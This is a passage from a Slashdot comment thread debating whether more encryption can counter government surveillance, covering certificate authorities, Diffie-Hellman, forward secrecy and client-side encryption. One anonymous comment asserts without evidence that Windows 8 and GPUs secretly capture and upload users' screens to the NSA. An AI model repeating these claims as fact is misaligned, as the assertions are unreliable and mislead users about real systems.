    9. Re:Complete idiocy by elewton · · Score: 3, Insightful

      Setting up GPG is easy. The difficulties associated with secure key management increase significantly with time.

    10. Re:Complete idiocy by Darinbob · · Score: 1

      Then you don't use those locks or those merchants. There's nothing whatsoever that is forcing us to use Google or Microsoft or Apple or Facebook or...

      Why not promote the ability to use our own encryption so that we can send secure data over a third party line. That only breaks down if you have a passive populace who assumes that the end points of the data are the same companies that are compromised; ie, people who use the cloud.

    11. Re:Complete idiocy by chihowa · · Score: 1

      The problem I'm encountering is that everybody I know uses webmail (ick). There are some plugins for GPG on webmail, but they seem to have been in a net yet usable state for a while.

      --
      If you want a vision of the future, imagine a youtube comments section scrolling - forever.
    12. Re:Complete idiocy by Anonymous Coward · · Score: 0

      huh? who said anything about providing fake keys. The issue is not that there is anything wrong with the keys, but that you are trusting the provider of them to not be sharing them. I actually doubt that any of the major ones would be sharing them, but it is certainly not provable that they aren't

    13. Re:Complete idiocy by black3d · · Score: 2

      I use the cloud for data backups extensively, however the data I upload I've already encrypted myself. I always considered this the only sane way to use cloud data storage securely. The author is either an idiot or a plant. More encryption IS the answer.

      --
      "The true measure of a person is how they act when they know they won't get caught." - DSRilk
    14. Re:Complete idiocy by 0123456 · · Score: 1

      huh? who said anything about providing fake keys.

      The, um, person who said that CAs would be providing their keys to governments?

      The only thing the government can do with a CA key is create fake keys for other sites, signed by that CA. And then, when someone sees one in the wild and publishes the key across the Internet, the CA is toast.

      The issue is not that there is anything wrong with the keys, but that you are trusting the provider of them to not be sharing them.

      CAs don't provide keys. They just sign them.

    15. Re:Complete idiocy by MrNaz · · Score: 1

      So if your friends like webmail and want to be secure, set up your own community mail server using SSL protected RoundCube backended with whatever IMAP server you like. The UI is easily as good as most webmail providers, and they get the added benefit that all mail between them won't leave the server and SSL ensures that the mail is protected.

      SSL protected RoundCube is the easiest way for a group of friends to securely communicate.

      --
      I hate printers.
  15. Terrorists on the Internet by Anonymous Coward · · Score: 0

    I didn't realize there were so many terrorists on the Internet.
    Maybe they are more interested in dissenters?

  16. Make the people in power end this by gmuslera · · Score: 1

    Where i am, with who i talk, what i do in my personal life, that is privacy. But what i write, the photos or videos i take, what i say, that is my intellectual property, and thats the one that the government of US choose to explicitly ignore when is doing all of this . Put the battle in the intellectual property front, where their bosses could be a bit disturbed if people and countries just stop caring about US companies intellectual property, and they could take some action.

    1. Re:Make the people in power end this by BeerCat · · Score: 1

      Wow!

      Who would have thought we'd be rooting for Big Media! (and since Murdoch has beaten Ballmer with SkyDrive, then it looks as though Big Media has more clout than Big Software)

      Now, can Big Media trump Government? Time will tell

      --
      "She's furniture with a pulse"
  17. better title:some common encryption practices suck by ron_ivi · · Score: 5, Insightful
    Encryption isn't fundementally the problem here.

    The problem is insecure distribution and control of private keys. (i.e. https that depends on trusting Certificate Authorities that appear easy to abuse by governments).

    Better solutions could exist --- for example if HTTPS would only work after checking both certificates from a "trusted" certificate authority *and* a self-signed cert. That way all you rely on is that the CA wasn't compromised when you first exchanged the keys for the self-signed cert. Once that happens, even if a CA cooperates with an oppressive regime later, the self-signed cert would keep you safe.

  18. SPAM by six025 · · Score: 1

    Sad to say this but maybe spam serves a useful purpose after all, it's probably the most realistic option here save fixing the root cause of the problem. If everyone sends millions upon billions of spam emails, the system might be so overloaded as to become ineffective.

    On a related note, I've often wondered what some spam emails with gibberish text actually mean. Maybe it's some kind of encrypted communication hiding in plain site - it only takes 1 message to get through to the intended recipient to be effective.

    Peace,
    Andy.

  19. Isn't handing over the Master Key more effective. by medv4380 · · Score: 1

    I seem to recall reading something the implied that a Master Key was handed over in some cases by providers. It should just be called a Skeleton Key, but if a government has access to that then why consider this option?

  20. Noise Encryption. by Anonymous Coward · · Score: 0

    For most purposes of any typical fruitloop, making as much noise as possible is a better way of hiding in the crowd.

    For purposes of not being a target, well, of any use, being everyone else is a good thing.
    As you know, there are search engine proxies and plugins that make your personality a random mess, so useless.

    Still going to be tracked at the ISP, backbone and society level regardless. Even if you "get the law changed".
    Even 1 less attack made the system worth the cost, never mind the other 299.

    My suggestion? Don't be a pedo terrorist hacker, and don't ever make dark jokes. If you are in the UK, don't even joke, or be serious. Be as dull as possible.

  21. Dumb and dumber by mbone · · Score: 2

    "...you would have to scrutinize the key material in many thousands of connections before you would even start to suspect something was wrong."

    Why should you trust certificate authorities? Do you even know who all your certificate authorities are? I think that this confuses trust for assignment of liability. A CA is good for making sure that someone else is liable if you put your credit card number in a web site shopping page and it gets stolen, and it helps make prevent some guy sitting in Starbucks from stealing credit card numbers, but as far as trust, I don't think it does a thing.

    And, guess what, people do do things like scrutinize the key material in many thousands of connections. And, if they don't, as soon as the next Snowden leaks what's going on, they will.

  22. Then the client should supply the symmetric keys by Anonymous Coward · · Score: 0

    If the client wants to supply a limited key set, then that's their data to reveal.

    Of course, if a host is so compromised that they are limiting the usage of symmetric keys to a known subset, then no amount of encryption should be considered secure. They can still log all the decrypted data, as well as turn over their private key for their certificates. Again, encryption keeps outsiders from seeing your data in transmission. If you can't trust the site you are communicating with, for any reason, encryption can never help you.

  23. More encryption is the ONLY solution... by Anonymous Coward · · Score: 0

    ..and when they ban that, increasingly sophisticated steganography.

    The way things are going, change will only be effected by political means when the majority of people are under true hardship from an oppressive government. Once you accept that there is no 'easy way out', you might as well try to bring about that endpoint quicker, which is simply by upping the ante in technical ways which force the authorities to respond with ever more heavy handed measures.

  24. What I always use by SnarfQuest · · Score: 0

    I bypass all of those expensive encryption schemes, and encode my data using rot13, twice!
    They'll never figure that one out in a hundred years! They only expect you to encrypt things once, so doubling it up provides a much more secure encryption!

    --
    Who would win this election: Andrew Weiner vs Andrew Weiner's weiner.
  25. Interesting quote about OSS project by Anonymous Coward · · Score: 1

    To an intelligence agency, a well-thought-out weakness can easily be worth a cover identity and five years of salary to a top-notch programmer. Anybody who puts in five good years on an open source project can get away with inserting a patch that "on further inspection might not be optimal."

    Anybody got an idea as to the source he's quoting? Is he referring to the OpenBSD incident?

    1. Re:Interesting quote about OSS project by Qzukk · · Score: 3, Informative

      I think he's referring to when Debian did exactly this to their openssl library.

      It took two years for anyone to notice.

      --
      If I have been able to see further than others, it is because I bought a pair of binoculars.
    2. Re:Interesting quote about OSS project by Anonymous Coward · · Score: 1

      Which could be avoided if someone bothered to add one little comment...

  26. It's even easier by Anonymous Coward · · Score: 0

    Encryption is only a temporary state of data, who are unencrypted at first and get decrypted at the end. Their value in encrypted state is only that they are encrypted, which isn't really what we have data for. So just attack the end nodes and get access to the clear data before they get encrypted or after they got decrypted.

    Over here in Germany we got the advice of the minister of the interior to encrypt our email. Sounds good. But he is also the one who says, that it's necessary to watch all traffic. Why should he give advice that would efficiently weaken his own policy?

  27. Lack of understanding.. by Anonymous Coward · · Score: 0

    When using DH key exchange both sides of the connection contribute randomness to derive the symmetric cipher. One side cannot unilaterally weaken the symmetric key.

  28. Encryption is the solution, but not today's model by DJBurgie · · Score: 0

    Assumption: Evil powers still cannot break SSL that works as it should with random data and unknown private keys without centuries or millennia of computer time..

    End-to-end encryption only works if the endpoints themselves are doing the encryption. Let's take a few examples:

    Social media: Person A posts something online. The endpoints, the real endpoints, are Person A and all of Person A's followers. Is there encryption between Person A and all of Person A's followers? No, not currently, and that is the problem. If there were encryption between these endpoints, the evil powers would pull out their hair. Instead they short-circuit things, compromise the world thanks to Facebook, and get an easy in to everything. They are performing a traditional man-in-the-middle. Encryption, without compromises, is the key.

    Instant messages: I send message to Google (Google Talk, Hangout, etc.) and they froward it on to my friends instantly. Are the endpoints doing encryption? No, not usually, and even with Off-The-Record functionality that Google provides, it is still plaintext along the way. This is the problem. It needs to be encrypted by the endpoints.

    Skype: Same as above. The service in the middle is the problem.

    There are some easy solutions for some of these.

    First, the best solution is to be your own service provider somehow. When federation really makes this happen properly and we each control our content with others we trust directly then that will be neat. Maybe we can still use things like OpenID to help handle that authentication in the meantime, but keep in mind that delegating trust to one party means that if another party compromises them then all bets are, again, off. We each need to provide our own trust directly to others so that end-to-end encryption can happen. If the other ends are ever compromised, revoke their trust and then handle things going forward, but at least it's possible to know and handle that situation. I think the right way for this to happen involves our own services becoming insanely simple to deploy, and then running them at home, each of us being our own little provider. I know... too hard for the common user today, but so was accessing data via the Internet twenty years ago.

    Second, in the meantime some of these services can be fixed right now. Run Pidgin to connect via Google Talk, or AIM, or ICQ, or anything else that's person-to-person, and implement the Off-The-Record plugin in there. Hooray! True end-to-end encryption. The service provider just sees crap in between, which is SSLized crap, and that's the end of their involvement even if the power scum that force them will take their data at gunpoint. Since he party in the middle has no keys, they have no data. Suddenly the evil powers must start attacking individuals instead of intermediaries which is much harder for them to do.

    By the way, never use the same password, or even minor variations on passwords, on any two things, ever. Just don't. When you do, you make it trivial to take everything with the weakest link compromised. Which link will be attacked by anybody really caring? The weakest of course. Make them all strong, and different. LastPass is a good, secure option if you cannot manage passwords on your own without any intermediary (yes, it's work).

    Anyway, just some thoughts.

  29. It doesn't have to be all encryption by Anonymous Coward · · Score: 0

    Crux of his essay posits the problem with protecting privacy is that the solution will have to be political one and not technological. He doesn't give a reason that it can't be both. You can have strong, ubiquitous encryption and governmental policies that protect privacy. You don't have to just accept the status quo.

  30. We must move on from basic crypto by John+Allsup · · Score: 1

    The idea behind crypto is to make undesired access to data impractical.  What is required next is to use mathematical techniques to ensure that the data to which undesired access is unwanted cannot be known to exist.  We begin on this road with steganography.  We could also invisage a gameplay-fingerprint scenario where I need to interact with a system in such a way that it can get a basic behavioural fingerprint and then use this to resynthesise data.  This may well result in lossy compression where the output looks similar but is not identical.  We then use language and algorithmic compression techniques from there to shape how things are reconstructed.  I can imagine much covert research into such concepts.

    --
    John_Chalisque
  31. I encrypt everything by jaycvollmer · · Score: 1

    I encrypt everything - and I use double rot13 just be be extra sure that no one can read it!

  32. Nothing the EFFs plugin could not deal with... by OdinOdin_ · · Score: 1

    >> you would have to scrutinize the key material in many thousands of connections before you would even start to suspect something was wrong.'

    A few iterations of their plugin, to also examine key information and find a safe way to report such concerns.

    https://www.eff.org/observatory

    The Session Key of the SSL session is what they seek to control. So this is a matter for a secure key exchange protocol to fix.

    I don't understand how storing information inside a cookie (which is presumably inside the HTTPS connection) helps the attacker. Since in order to examine it they would have already brute forced their 100 million known keys to find the one that worked. So why do they need any extra information from the cookie.

    Maybe a cryptographer can explain if key exchange protocols such as DH are immune to this kind of concern, since don't both ends pick their own random numbers, to derive a usable symmetric cipher key. So as long as each end can trust their own local random number generation isn't the exchange immune to this attack even if you presume the other end uses same (not random number) every time. They still can not control my RNG and my RNG perterbs the resulting master key. So we just need to make sure there is enough entropy from one ends input to satisfy their ends security concerns.

    No the real problem here is having the remote endpoint simply persist and store for later lookup, or forward in realtime the agreed key the client and server used of any SSL session along with a timestamp and the IP address and port number tuples. This you can never protect yourself from. You have to ask the question, what data would I trust the endpoint with, just like any other kind of relationship ?

    More encryption is good, because then at least there maybe whistle blowers and loss of reputation costing the relevant company some financial penalty, hopefully 10x more than the bribe.

    1. Re:Nothing the EFFs plugin could not deal with... by Anonymous Coward · · Score: 0

      Regarding paragraph "Maybe a cryptographer can", DH Public keys work this way. The "server" always uses the same random number (publishing the derived parameter) and the client is what generates a random private value to combine with it for purpose of deriving a one time shared secret.

      I have yet to find a good paper explaining a situation where RSA is more secure than (EC)DH, and there definitely are papers showing how RSA does have a practial weakness because it needs two random secret values instead of one http://eprint.iacr.org/2012/064.pdf I think DH (especially non EC) was just more computationaly intensive than equivalent RSA and RSA had better "marketing".

  33. Re:better title:some common encryption practices s by 0123456 · · Score: 3, Informative

    Uh, no.

    The problem is that the government leans on the server you're talking to and gets your data after it's decrypted.

    No amount of encryption can fix that, but the idea that more encryption is not part of the solution is just silly. Obviously it eliminates one means of eavesdropping on your communications.

  34. Re:better title:some common encryption practices s by Charliemopps · · Score: 1

    Unless the government has compromised nearly every software and hardware vendor in the world... at which point you couldn't even trust the devices you're using to connect. The fundamental problem here is the strength of the governing bodies constitution and the the respect it has for that constitution. If you have, as we do today, a government that considers the constitution to be an outdated stumbling block rather than the backbone of a free society that it is, no amount of security or encryption will save you. They have unlimited time, money and people. They will always win.

  35. Re:better title:some common encryption practices s by MightyMartian · · Score: 1

    If you generate and secure your own private keys and don't use commercial CAs, then what are they going to do? I suppose they could do what the Iranians and Chinese do, which is to use deep packet inspection to sort out that some or all of your traffic is encrypted, and then block it, but if we've reached that point where Western governments are erecting Great Firewalls, then we've reached a point where we're well and truly screwed anyways.

    --
    The world's burning. Moped Jesus spotted on I50. Details at 11.
  36. Re:better title:some common encryption practices s by phantomfive · · Score: 1

    The problem comes from keeping all your data on external servers.

    --
    "First they came for the slanderers and i said nothing."
  37. Homomorphic Encryption by Anonymous Coward · · Score: 0

    It might not be ready for prime-time, but if you don't trust your hosting provider, then homomorphic encryption may end up being the solution.

  38. look, that scenario is less encryption by gl4ss · · Score: 1

    not more.

    that scenario doesn't matter that much anyways when the mails are with big providers.

    --
    world was created 5 seconds before this post as it is.
  39. Re:better title:some common encryption practices s by Anonymous Coward · · Score: 0

    The problem is insecure distribution and control of private keys. (i.e. https that depends on trusting Certificate Authorities that appear easy to abuse by governments).

    CAs have *nothing* to do with distribution of private keys!

    CAs role is to certify that they have issued a given *public* certificate. CAs sign a public key. That is all. They *authenticate* a certificate. You could easily replace all those CAs with your own. Any secure application would never rely on public CAs, but only on their own.

    We trust CAs because it is easier than going to a bank and asking for their certificate fingerprints, then checking them in the browser before accepting connection.

    Better solutions could exist --- for example if HTTPS would only work after checking both certificates from a "trusted" certificate authority *and* a self-signed cert.

    Clearly, you do not know how HTTPS works or what public key crypto accomplishes.

  40. Rapelcgvba vf urer gb fgnl by jfdavis668 · · Score: 1

    V guvax gung rapelcgvba vf gur jnir bs gur shgher! Gurer ner whfg gbb znal crbcyr ba gur Vagrearg jub ner bhg gb pbyyrpg rirel fpenc bs vasbezngvba nobhg lbh. Gurl pbagvahr gb svaq havdhr jnlf gb rkcybvg gur zbfg gevivny cvrpr bs vasbezngvba gurl pna tyrna sebz lbh. Rira gur zrer snpg gung lbh rkvfg va n qvtvgny raivebazrag pna or hfrq ntnvafg lbh. Rapelcgvba, lbhe arj gehfgrq sevraq.

    1. Re:Rapelcgvba vf urer gb fgnl by Anonymous Coward · · Score: 0

      It's a relief to know the Old Ones are also interested in security practises...

      Oh wait, it's just rot13. Then again, the existing model (SSL certs, CAs, etc.), given the topic of discussion, aren't much better.

      I see what you did there, Shub-Niggurath!

    2. Re:Rapelcgvba vf urer gb fgnl by Anonymous Coward · · Score: 0

      I think that encryption is the wave of the future! There are just too many people on the Internet who are out to collect every scrap of information about you. They continue to find unique ways to exploit the most trivial piece of information they can glean from you. Even the mere fact that you exist in a digital environment can be used against you. Encryption, your new trusted friend.

  41. So, more OPENSOURCE encryption? by morcego · · Score: 3, Informative

    This has nothing to do with encryption, and has everything with software you can't audit and verify yourself is secure.

    I mean, do you really think it is that unlikely there are backdoors and/or monitoring hooks in your Cisco router? Or your Linksys AP? Or whatever?

    The moment you trust blindly, be it the government or companies in a position to be influenced by others, you are putting yourself at risk.

    Saying this is a cryptography issue, and not a "blackbox" issue, makes me wonder about ulterior motives...

    --
    morcego
    1. Re:So, more OPENSOURCE encryption? by Anonymous Coward · · Score: 0

      You can audit and verify all the software you like, because it's not your software that you have to worry about. If the software on the other end of the connection is compromised, then so is all communication on that connection. And if you're in a position to audit that, then you might as well do your communication in person while you're over there.

  42. Here's the article by Anonymous Coward · · Score: 0

    https://queue.acm.org/detail.cfm?id=2508864

    He's right.

  43. Re:better title:some common encryption practices s by Njovich · · Score: 1

    CAs have *nothing* to do with distribution of private keys!

    A trusted CA can just generate a new private key for the site and go MITM. This is why the CA's are a big issue for private key security, at least with the way HTTPS trust chains are set up in reality. Yes you 'could' delete all CA's in your system and replace them with your own, but who does that?

  44. perfect forward privacy by modmans2ndcoming · · Score: 1

    Simple use a BEAST attack hardened diffie-hellman encryption. ephemeral encryption means a single key or even thousands of keys can not endanger future communications.

  45. Giving vendors access to encryption keys? WTF? by Anonymous Coward · · Score: 0

    More Encryption Is Not the Solution

    Of course it is. You just need to do the encryption on the client side.

    I would never, ever trust a cloud provider to do encryption for me.

    Why the hell would anyone give a vendor access to their encryption keys?

    A cloud provider gives me space and nothing else. If I don't encrypt a file before I copy it to the cloud, then I get what I deserve, obviously.

  46. More encryption IS the answer by Anonymous Coward · · Score: 0

    I [as one of the governments] would contact providers of popular cloud and "whatever-as-service" providers and make them an offer they couldn't refuse: on all HTTPS connections out of the country, the symmetric key cannot be random

    Thereby subverting only a small fraction of encrypted communications, and undermining your own e-commerce systems in the process (since unlike most individuals, they actually would have to use the coerced systems). This is why more encryption is the solution: the countermeasure that you mention, is a lot like DRM as a countermeasure to piracy. It won't work against the people you say you're trying to defeat, but it will work against the people who are already on your side. Net Effect: incentive to stop being on your side. Just as DRM only caused more piracy, subverting session key entropy will cause people to diversify their software, deploy things in competing jurisdictions, etc. It's a suicide move. And while the entertainment industry's suicide move was tragic, government eavesdroppers' suicide would be most welcome.

  47. Don't even need to preselect by Anonymous Coward · · Score: 0

    Just have the service provider hand over a copy of the random symmetric key to the NSA log server. Nobody would be the wiser.

    Or just have over the plaintext contents to the NSA. Then they don't even need to reassemble packets or spend CPU cycles decrypting them.

  48. Client side generates randomness too by hawguy · · Score: 1

    Isn't the master encryption key used to encrypt the stream made from a hash of a server generated and client generated random number? That would seem to make it a moot point whether or not the server keys are random as long as the client hasn't been compromised and is using a good random number. The server could be issuing "0" as its "random" number and the key would still be random.

    The gain access to the data stream, the government would need access to the server's private key (or signed fake certificate so they could execute a man in the middle attack). With Perfect Forward Secrecy, would possession of the private key allow one to decrypt the stream?

    1. Re:Client side generates randomness too by Anonymous Coward · · Score: 0

      Isn't the master encryption key used to encrypt the stream made from a hash of a server generated and client generated random number? That would seem to make it a moot point whether or not the server keys are random as long as the client hasn't been compromised and is using a good random number. The server could be issuing "0" as its "random" number and the key would still be random.

      The gain access to the data stream, the government would need access to the server's private key (or signed fake certificate so they could execute a man in the middle attack). With Perfect Forward Secrecy, would possession of the private key allow one to decrypt the stream?

      Notice this in the summary:

      The key from the other side? Slip that in there somewhere, and I can find it (encrypted in a Set-Cookie header?)

      Under the scenario posed by the summary, the company that owns the server is fully compromised to the extent that they are re-writing their system libraries for the NSA and the client's browser has been re-written so that it leaks the client's DH details of each connection. In this extreme scenario no sort of encryption can help you, although to be honest if they are going to hypothesise this sort of thing they may as well have gone with:

      Obama's drone has fired a Hellfire missile at your location. WHERE'S YOUR GALOIS FIELD NOW, TER'IST?

    2. Re:Client side generates randomness too by hawguy · · Score: 1

      Isn't the master encryption key used to encrypt the stream made from a hash of a server generated and client generated random number? That would seem to make it a moot point whether or not the server keys are random as long as the client hasn't been compromised and is using a good random number. The server could be issuing "0" as its "random" number and the key would still be random.

      The gain access to the data stream, the government would need access to the server's private key (or signed fake certificate so they could execute a man in the middle attack). With Perfect Forward Secrecy, would possession of the private key allow one to decrypt the stream?

      Notice this in the summary:

      The key from the other side? Slip that in there somewhere, and I can find it (encrypted in a Set-Cookie header?)

      I saw that, but I don't see how that helps since the Set-Cookie header is encrypted by the same symmetric key as the rest of the HTTP traffic. Which they can't read merely by making the server key non-random (or less random) if the client is sending a good random number for generating the master key.

      If the NSA coerced the service provider into giving up their private SSL key, then that would probably work work (but I'm not even sure that's sufficient to decrypt a session with PFS)

      Under the scenario posed by the summary, the company that owns the server is fully compromised to the extent that they are re-writing their system libraries for the NSA and the client's browser has been re-written so that it leaks the client's DH details of each connection. In this extreme scenario no sort of encryption can help you, although to be honest if they are going to hypothesise this sort of thing they may as well have gone with:

      That's not in the summary -- the summary doesn't say anything at all about the Client, he's outlining scenario where the government coerces the service providers into weakening their protocol, but apparently not in a way that actually weakens the encryption assuming well behaved clients.

      While it's true that if the government controls both ends of the connection, then they can see anything they want, there's probably no need to weaken SSL to do it since they already have code on the both ends of the connection.

  49. Re:better title:some common encryption practices s by 0123456 · · Score: 1

    A trusted CA can just generate a new private key for the site and go MITM.

    And you can see the key has changed, and post it all over the Internet to show that 'trusted CA' is issuing fake keys. And 'trusted CA' goes bust.

    It's a really, really, really, really, freaking really dumb way to perform an MITM attack, because an end user can easily prove the attack happened, and show the CA is broken.

  50. there's another option by Mister+Liberty · · Score: 1

    Finally get those politicians to abide by the respective constituent document of your country.
    There are some proven ways to achieve that.

  51. The NSA says never encrypt... by Anonymous Coward · · Score: 0

    So Slashdot publishes another NSA black-propaganda article. Rather like Slashdot's frequent warning that erasing data on your hard-drive is a waste of time, because forensic teams have 'magic' methods to directly read the surface of your platters, recovering such data. It is all part of the same nonsense designed to discourage the sheeple from using best methods to protect their security/privacy.

    1) Decent encryption CANNOT be broken by the NSA.
    2) Decent encryption (software, not the ALWAYS compromised hardware solutions) is free and easy to deploy
    3) Encryption for networks (including the Internet) should be 'end-point' encryption under the control of the users themselves.

    Has does the NSA attack such encryption (for general surveillance, not targeted individuals, obviously)? Well, by getting the owners of Slashdot to run stories like this for one. Bad-mouthing the best methods ALWAYS reaps dividends, and is insanely cost-effective. But things are not so nice these days. Microsoft, for instance, is introducing deep NSA monitoring tools into its new operating systems, especially the update of Windows 8. The idea is that the OS is 'trojan friendly' allowing techniques like message queue hijacking (of which the key-logger is a trivial example) to be unstoppable when the NSA uses facilities Microsoft has created for this purpose.

    Most encrypted data will be created as 'plain text' (or the equivalent) and viewed as the same at some point. The NSA simply work with Microsoft to have access to the data BEFORE Truecrypt hides it, or after the user reads it from a Truecrypt volume.

    The so-called 'protected path' that all computer companies are obliged by Law to place in new video hardware (in the name of making DRM unbreakable) actually provides a hidden resource where YOUR unencrypted data can be intercepted without your knowledge. Microsoft can simply request your graphics card to take regular snapshots of your screen, and you will never know this because the message stream to the GPU (for protected path functions) is encrypted with protected path control keys. A full screen JPG is quite a small file even for a high-resolution screen, and can be sneaked out to an NSA server with you standing ZERO chance of noticing the traffic blip.

    All Windows 8 computers with a recent GPU (including integrated GPUs from Intel or AMD) can be remotely instructed to secretly capture your screen data and silently upload this to a server of Microsoft's choosing. Again, if you LOOK for this behaviour, you will see undocumented driver activity to the GPU, and small encrypted data packets sent to Microsoft servers. By definition, you can prove nothing because THEY encrypt (funny how it is you that is told encryption is pointless).

    NSA full surveillance GETS the fact that it doesn't cover people using proprietary or rare/old computing systems, and doesn't care. NSA full surveillance only ever gets the majority who use the latest gizmos. I mean, don't carry a cell phone and obviously the NSA can't track you that way- but does this option mean the NSA go "damn, we might as well end our cell phone monitoring program"?

    You want end-point encryption...
    You want an open-source OS to replace Windows, so NSA back-door capabilities are severely compromised...
    You NEVER want to trust corporations- by law they are required to lie to the sheeple if they are engaged in any way with the NSA...

    In the end, it is hard to imagine the people winning. The ARM SoC parts are like the GPU systems from Nvidia and AMD, but a million times worse. Everything passes through the hardware blocks of the SoC, meaning that the NSA can always tap into your raw data, and you will never know. The SoC can even hold code inside the chip itself, controlling the monitoring of your screen and inputs. You won't know when this code is inserted or running. You won't know if the data leaving your device is an encrypted copy of your screen or recent inputs.

    Saying "who cares so long as *I* can lock down my tablet" is moronic.

    1. Re:The NSA says never encrypt... by hawguy · · Score: 3, Insightful

      Microsoft can simply request your graphics card to take regular snapshots of your screen, and you will never know this because the message stream to the GPU (for protected path functions) is encrypted with protected path control keys. A full screen JPG is quite a small file even for a high-resolution screen, and can be sneaked out to an NSA server with you standing ZERO chance of noticing the traffic blip

      I took a full screen snapshot of my 1920x1080 screen (maximized browser window with this Slashdot page loaded, so there's a lot of white space on the screen) and saved it as a JPG. The size of the default quality JPG was 480KB (which looked about the same as the corresponding PNG which was only 275KB). I created JPG's of decreasing quality until the text became mostly illegible, that happened at a quality level of "7" (on a scale of 1 - 100 with 100 being the best). The resulting JPG ended up being 95KB in size.

      That's not exactly what I could call "quite a small file", and though many people wouldn't notice that size file going out periodically (every hour? every minute?), it's big enough that some would - especially paranoid people that are worried about someone spying on them. 95KB sent out every minute would be around 15kbit/second on average, so it's definitely enough to be noticable.

    2. Re:The NSA says never encrypt... by Anonymous Coward · · Score: 1

      Only to someone who is looking.

    3. Re:The NSA says never encrypt... by hawguy · · Score: 1

      Only to someone who is looking.

      Right, but if this is happening on a large scale, it only takes one person to discover it and make it known to the world. "Hey, I ran a kernel trace and my *graphics card* is sending encrypted UDP packets to we-are-keeping-you-safe.trust-us.gov. What's up with that?"... and more and more people dig into their systems and find out what's going on.

    4. Re:The NSA says never encrypt... by steelfood · · Score: 1

      Not just that. Most personal computers aren't connected directly to the internet. They usually go through NATs, routers, firewalls, etc. that will not conceal this type of traffic. Not only that, but ISP's have these QoS and zombie-detection devices that have exactly the type of logic that will flag the machine as a bot and a notice.

      --
      "If a nation expects to be ignorant and free in a state of civilization, it expects what never was and never will be."
  52. Re:Then the client should supply the symmetric key by papafox_too · · Score: 0

    In SSL, the symmetric key is already chosen by the client. This whole story is bullshit. It's an example of what Bruce Schneier calls a Movie Plot Threat, only this time instead of being a terrorist attack, it's based on an evil government threat. This particular scenario is rubbish.

  53. Regarding your analogy by Anonymous Coward · · Score: 0

    In other news, locks do not work if someone gains a copy of your key. Therefore more locks are not the solution, and locks actually harm security!

    If an unfounded belief in the security provided by locks leads to a false sense of security, then yes, more locks harm security.

    At best, locks prevent casual theft. If possessions that you keep behind the average consumer grade lock haven't been stolen, it is not because of the lock, it is because nobody has decided to steal them. Thus, you have more than likely wasted your money on the lock. Moreover, you may have spent additional money amassing valuables for which you have no meaningful security.

    The distinction you make is the concept of "provably secure" encryption. There is no (practical) analog for securing your front door. Obviously, if there was, more locks would be better. If.

    The conundrum posed in TFS is that more encryption will likely mean more weak encryption. Most people don't have the means or energy to take the issue in their own hands as you suggest. As with anything, you need to distinguish between a technical solution as you would implement it, and a technical solution as will be sold to the masses who are looking for a magic buzzword product to make their problem go away.

  54. We can't trust the providers by Karmashock · · Score: 1

    No one trusted the NSA before. That wasn't news. Who was giving away their encryption keys to the NSA before? Not with their knowledge or willingness. The new information is that the providers betrayed the users.

    --
    I've decided to stop wasting my time responding to AC trolls/sockpuppets... so if you want a response from me... login.
  55. It's Poul-Henning Kamp... by Anonymous Coward · · Score: 0

    ...so no link is a good thing.

  56. Re:better title:some common encryption practices s by mstefanro · · Score: 1

    That depends on what kind of data you are referring to. If you are talking about e-mails,
    then intelligent beings usually realize that very sensitive data is not to be stored there.

    For storing your own data, that you are not planning on sharing with anyone, cloud
    storage such as Dropbox works wonderfully with Truecrypt. A strong password assures
    you no-one will ever get access to your cloud data, unless you are forced to reveal the password.
    Truecrypt also offers plausible deniability using a hidden volume, in case you are
    forced to reveal your password.

    If you are planning on sharing very sensitive data and you are aware that the government
    or someone else is as motivated to obtain that data as to go through the
    trouble of MITM attacks, then one good solution is to distribute your public key
    over a Skype audio+video call.

    Now, if you believe the government is as motivated as to try to fake both your and
    his voice and movement of lips, then you would have to split your public key and
    distribute it through multiple mediums (stenography on an youtube video? mailing lists?).

    There *are* some ways of protecting your data ainst a government or anyone else if
    it is valuable enough.

    It appears a habit of the slashdot commenters to discuss how badly a government
    would be able to screw you over, completely missing a simple fact: the amount of
    effort any government would put into seeing your data is proportional to how valuable
    they believe it is. They will not mount a MITM attack on you using a controlled
    CA just to see your vacation pictures. The privacy of your data does not only rely
    solely on how abusive a government is, but also on how much effort and thought you put
    in keeping it private.
    When dealing with highly sensitive data, it is your obligation to be paranoid, not to trust
    governments, CAs, companies, ISPs etc. and go to great lengths to assure no-one can gain
    access to your information.

  57. Re:better title:some common encryption practices s by mstefanro · · Score: 1

    If a government controls a CA and would like to see your communications with a server that it does not control, all it can do is mount a MITM attack while you are communicating with that server. Afterwards, it misses its window of opportunity: if the government wants to decrypt the logged communication at a later time, it cannot do so. The damage it can do by controlling a CA is pretty limited.

  58. You need to trust someone or something! by mstefanro · · Score: 1

    I do not see why the excess paranoia and fuss is all about. Sharing data privately
    does *not* work in a model where you do not trust anyone.

    If you are sharing non-sensitive data, then it is usually an acceptable compromise
    to trust very large companies such as Google. You acknowledge that a government
    or Google is not motivated enough to "look" at your data, although you realize there
    is no guarantee that they cannot do so. You just believe that the data is not worthy
    enough for them to care.

    When you (A) are sharing sensitive data by e-mail with (B), you are implicitly trusting
    many parties: CAs or government/ISP, GMail and B. While you do intend to trust B,
    you do not intend to trust anyone else with such valuable data. This is *your* mistake
    or ignorance. Just because the idea is to trust CAs implicitly it does not mean you have
    to trust them with everything. The more valuable the data, the less compromise you
    afford to make in trust.
    This leaves you with having to distribute your public key to B without trusting anyone else.
    You can achieve this by splitting your key and distributing it in multiple mediums:
    video+audio skype calls, stenography, phone calls etc. The more mediums, the
    higher degree of trust.

    It is your responsibility and in your best interest to weigh the value of your data and
    take proportional effort in protecting it.

    1. Re:You need to trust someone or something! by Anonymous Coward · · Score: 0

      I don't use public CAs for sensitive data. I only trust the private CA of the agent I am commuincating with.

      The logic is this, I am talking to Bob's service bobserv, bobserv uses a private key generated locally, bobserv has a certificate for bobserv's key signed by bobca. If I don't trust Bob, then communicating with bobserv likewise can't be trusted. If I do trust Bob, then I likewise trust Bob to only use bobca to sign bobserv's legitimate key. Having a registry of Bob, Charlie and Dave's CA, I am willing to accept bobca for services from Bob, charlieca for services from Charlie, and daveca for services from Dave.

      Now the case might be that Bob introduced me to Charlie, and to guarantee the security of Charlie's CA cert, he gave me a certificate that signed Charlie's CA cert, but if I later decide not to trust Charlie I can unenroll his CA certificate, and refuse to use any services provided by Charlie.

      This system of mutual introduction is quite different to the un-assured blind introduction that the public CA system uses. I haven't met any of the CAs that are installed by default in Linux, and I don't trust any of them with sensitive information.

      More people need to take an interest in building their own private trust networks and not rely on some anonymous third party they've never met (eg. Verisign, COMODO etc).

      Security is not hard, you just have to know what you're doing.

